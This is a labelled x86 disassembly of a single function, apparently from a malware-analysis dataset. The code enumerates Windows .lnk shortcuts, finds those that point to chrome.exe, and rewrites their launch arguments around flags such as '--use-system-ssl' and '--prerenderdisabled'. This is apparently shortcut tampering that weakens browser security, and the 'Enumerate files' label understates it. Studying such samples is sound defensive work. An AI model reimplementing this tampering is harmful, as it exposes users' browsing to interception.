Function at 0x40b041
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
sub esp, 0x50
mov eax, 0x426a75
call fcn.0041362c
sub esp, 0xd20
push ebx
xor ebx, ebx
mov dword [ebp + 0x44], ebx
push edi
mov dword [ebp + 0x4c], ebx
lea eax, [ebp + 0x4c]
push eax
push 0x42844c
push 0x17
push ebx
push 0x42bd70
mov dword [ebp - 4], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [ebp + 0x4c], ebx
je 0x40b51e
push dword [ebp + 0x4c]
lea ecx, [ebp + 0x40]
call fcn.004038a0
mov ecx, dword [ebp + 0x40]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x40b50d
mov eax, dword [ebp + 0x5c]
cmp eax, ebx
je 0x40b504
cmp word [eax], bx
je 0x40b504
push eax
lea ecx, [ebp - 0x28]
call fcn.004057c9
push str.chrome.exe
lea ecx, [ebp]
mov byte [ebp - 4], 2
call fcn.004057c9
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
call fcn.004048df
mov ecx, eax
call fcn.004038bf
xor edi, edi
inc edi
cmp word [eax], 0x5c
je 0x40b0f5
push 0x5c
push edi
lea ecx, [ebp - 0x28]
call fcn.00404aba
push str..lnk
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00406a01
add esp, 0xc
cmp dword [eax + 0x18], 8
jb 0x40b115
mov eax, dword [eax + 4]
jmp 0x40b118
add eax, 4
lea ecx, [ebp - 0x2dc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push ebx
push edi
lea ecx, [ebp - 0x70]
mov dword [ebp + 0x20], eax
call fcn.004038ff
cmp dword [ebp + 0x20], 0xffffffff
jne 0x40b166
push ebx
push edi
lea ecx, [ebp]
call fcn.004038ff
push ebx
push edi
lea ecx, [ebp - 0x28]
call fcn.004038ff
mov eax, dword [ebp + 0x40]
mov byte [ebp - 4], bl
cmp eax, ebx
je 0x40b50d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x40b50d
xor eax, eax
push 0x7fe
mov word [ebp - 0xadc], ax
lea eax, [ebp - 0xada]
push ebx
push eax
call fcn.00413a00
add esp, 0xc
push esi
mov esi, dword [ebp + 0x40]
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00406a01
add esp, 0xc
or dword [ebp + 0x44], edi
cmp dword [eax + 0x18], 8
mov byte [ebp - 4], 4
jb 0x40b1b1
mov eax, dword [eax + 4]
jmp 0x40b1b4
add eax, 4
mov ecx, dword [esi]
push 2
push eax
push esi
call dword [ecx + 0x14]
test eax, eax
jl 0x40b224
mov eax, dword [ebp + 0x4c]
mov ecx, dword [eax]
push ebx
lea edx, [ebp - 0xd2c]
push edx
push 0x400
lea edx, [ebp - 0xadc]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x40b224
lea eax, [ebp - 0xadc]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x40b1eb
sub eax, edx
sar eax, 1
cmp eax, dword [ebp + 0x14]
jb 0x40b224
cmp dword [ebp + 0x18], 8
mov ecx, dword [ebp + 4]
jae 0x40b20a
lea ecx, [ebp + 4]
sub eax, dword [ebp + 0x14]
push ecx
lea eax, [ebp + eax*2 - 0xadc]
push eax
call fcn.00413ffd
pop ecx
pop ecx
mov byte [ebp + 0x53], bl
test eax, eax
je 0x40b228
mov byte [ebp + 0x53], 1
test byte [ebp + 0x44], 1
mov dword [ebp - 4], 3
je 0x40b243
and dword [ebp + 0x44], 0xfffffffe
push ebx
push edi
lea ecx, [ebp - 0x44]
call fcn.004038ff
cmp byte [ebp + 0x53], bl
jne 0x40b4c9
push ebx
lea ecx, [ebp + 0x24]
mov dword [ebp + 0x3c], 7
call fcn.00402f02
mov eax, dword [ebp + 0x4c]
mov ecx, dword [eax]
push 0x400
lea edx, [ebp - 0xadc]
push edx
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x28]
test eax, eax
jl 0x40b4bb
cmp word [ebp - 0xadc], bx
je 0x40b295
lea eax, [ebp - 0xadc]
push eax
lea ecx, [ebp + 0x24]
call fcn.00404c0f
mov eax, str.__use_system_ssl
push ebx
push eax
lea ecx, [ebp + 0x24]
mov byte [ebp + 0x53], bl
mov dword [ebp + 0x48], eax
call fcn.004037d4
cmp eax, 0xffffffff
je 0x40b2e2
cmp eax, ebx
je 0x40b2cf
lea esi, [eax - 1]
push esi
lea ecx, [ebp + 0x24]
call fcn.00402bed
cmp word [eax], 0x20
jne 0x40b2cf
push edi
push esi
lea ecx, [ebp + 0x24]
call fcn.00403754
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp + 0x24]
push eax
call fcn.0040928d
pop ecx
pop ecx
mov byte [ebp + 0x53], 1
mov esi, str.__prerenderdisabled
push ebx
push esi
lea ecx, [ebp + 0x24]
mov dword [ebp + 0x48], esi
call fcn.004037d4
cmp eax, 0xffffffff
je 0x40b32f
cmp byte [ebp + 0x60], bl
jne 0x40b36a
cmp eax, ebx
je 0x40b31e
lea esi, [eax - 1]
push esi
lea ecx, [ebp + 0x24]
call fcn.00402bed
cmp word [eax], 0x20
jne 0x40b31e
push edi
push esi
lea ecx, [ebp + 0x24]
call fcn.00403754
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp + 0x24]
push eax
call fcn.0040928d
pop ecx
pop ecx
jmp 0x40b366
cmp byte [ebp + 0x60], bl
je 0x40b36a
cmp dword [ebp + 0x38], ebx
je 0x40b35d
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp + 0x24]
call fcn.004048df
mov ecx, eax
call fcn.004038bf
cmp word [eax], 0x20
je 0x40b35d
push 0x20
push edi
lea ecx, [ebp + 0x24]
call fcn.00404aba
push esi
lea ecx, [ebp + 0x24]
call fcn.00405e34
mov byte [ebp + 0x53], 1
mov esi, str.__enable_npn_http
push ebx
push esi
lea ecx, [ebp + 0x24]
mov dword [ebp + 0x48], esi
call fcn.004037d4
cmp eax, 0xffffffff
je 0x40b3b7
cmp byte [ebp + 0x64], bl
jne 0x40b3f2
cmp eax, ebx
je 0x40b3a6
lea esi, [eax - 1]
push esi
lea ecx, [ebp + 0x24]
call fcn.00402bed
cmp word [eax], 0x20
jne 0x40b3a6
push edi
push esi
lea ecx, [ebp + 0x24]
call fcn.00403754
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp + 0x24]
push eax
call fcn.0040928d
pop ecx
pop ecx
jmp 0x40b3ee
cmp byte [ebp + 0x64], bl
je 0x40b3f2
cmp dword [ebp + 0x38], ebx
je 0x40b3e5
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp + 0x24]
call fcn.004048df
mov ecx, eax
call fcn.004038bf
cmp word [eax], 0x20
je 0x40b3e5
push 0x20
push edi
lea ecx, [ebp + 0x24]
call fcn.00404aba
push esi
lea ecx, [ebp + 0x24]
call fcn.00405e34
mov byte [ebp + 0x53], 1
push 0x20
pop esi
push edi
push 0xffffffffffffffff
lea eax, [ebp + 0x48]
push eax
lea ecx, [ebp + 0x24]
mov dword [ebp + 0x48], esi
call fcn.00402e95
cmp eax, 0xffffffff
je 0x40b439
inc eax
push eax
push ebx
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp + 0x24]
call fcn.00405e58
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x24]
mov byte [ebp - 4], 6
call fcn.00404b08
push ebx
push edi
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 5
call fcn.004038ff
push edi
push ebx
lea eax, [ebp + 0x48]
push eax
lea ecx, [ebp + 0x24]
mov dword [ebp + 0x48], esi
call fcn.00402e26
cmp eax, 0xffffffff
jne 0x40b45e
push 0x4291d4
lea ecx, [ebp + 0x24]
call fcn.00404c0f
jmp 0x40b495
cmp eax, ebx
je 0x40b495
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp + 0x24]
call fcn.00405e58
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x24]
mov byte [ebp - 4], 7
call fcn.00404b08
push ebx
push edi
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 5
call fcn.004038ff
cmp byte [ebp + 0x53], bl
je 0x40b4bb
cmp dword [ebp + 0x3c], 8
mov ecx, dword [ebp + 0x28]
jae 0x40b4a6
lea ecx, [ebp + 0x28]
mov eax, dword [ebp + 0x4c]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x2c]
mov eax, dword [ebp + 0x40]
mov ecx, dword [eax]
push edi
push ebx
push eax
call dword [ecx + 0x18]
push ebx
push edi
lea ecx, [ebp + 0x24]
mov byte [ebp - 4], 3
call fcn.004038ff
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40b185
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push edi
lea ecx, [ebp]
call fcn.004038ff
push ebx
push edi
lea ecx, [ebp - 0x28]
call fcn.004038ff
pop esi
jmp 0x40b14d
mov eax, dword [ecx]
push ecx
mov byte [ebp - 4], bl
call dword [eax + 8]
mov eax, dword [ebp + 0x4c]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
je 0x40b51e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
pop edi
pop ebx
mov dword fs:[0], ecx
add ebp, 0x54
leave
ret